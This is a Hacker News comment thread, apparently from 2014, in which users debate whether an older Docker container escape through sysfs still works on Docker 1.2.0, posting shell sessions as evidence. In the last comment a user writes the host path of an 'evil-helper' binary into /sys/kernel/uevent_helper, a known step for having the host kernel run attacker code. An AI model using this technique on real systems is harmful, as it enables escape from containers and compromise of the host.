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Comment by stevekemp | Hacker News Reader

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stevekemp

This is the first that comes to mind:

http://blog.bofh.it/debian/id_413

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That's an article from 2011. This evasion does not work today.

That example is old, but yes it does work, and will continue to work until docker uses user namespaces.

That said the example is not a good one because of the changes applied these days, e.g. the use of the UID on the host-side.

I actually tried it on Docker 1.2.0 with the ubuntu:14.04 image.

/sys is already mounted and it is read-only, and it cannot be mounted manually:

  root@07ba8c752195:/# mkdir sys2
  root@07ba8c752195:/# mount -t sysfs sysfs /sys2
  mount: block device sysfs is write-protected, mounting read-only
  mount: cannot mount block device sysfs read-only

BTW: Just one example of a typical Linux namespace vulnerability: http://git.kernel.org/cgit/linux/kernel/git/ebiederm/user-na...

I tested this with the busybox image, and received a warning that /sys was already mounted, but the attack then proceded to work as expected.

  kalmi@sylph ~> docker run -t -i busybox:latest
  / # mount -t sysfs sysfs /sys
  mount: permission denied (are you root?)
  / # mkdir sys2
  / # mount -t sysfs sysfs /sys2
  mount: mounting sysfs on /sys2 failed: Permission denied

  kalmi@sylph ~> docker --version
  Docker version 1.2.0, build fa7b24f

  kalmi@sylph ~> uname -r
  Linux sylph 3.13.0-35-generic #62-Ubuntu SMP Fri Aug 15 01:58:42 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

We don't need to argue about this, but I see the same permission-denied issue as you, but that doesn't matter.

The /sys is mounted already and reading/writing to it succeeds:

     / # mount -t sysfs sysfs /sys
     mount: permission denied (are you root?)

     / # echo /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a9706aef/tmp/evil-helper > /sys/kernel/uevent_helper

     / # cat   /sys/kernel/uevent_helper
     /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a906aef/tmp/evil-helper

From there the attack works. Obviously the change here is that I need to know the full UID, which is a cheat, but ..

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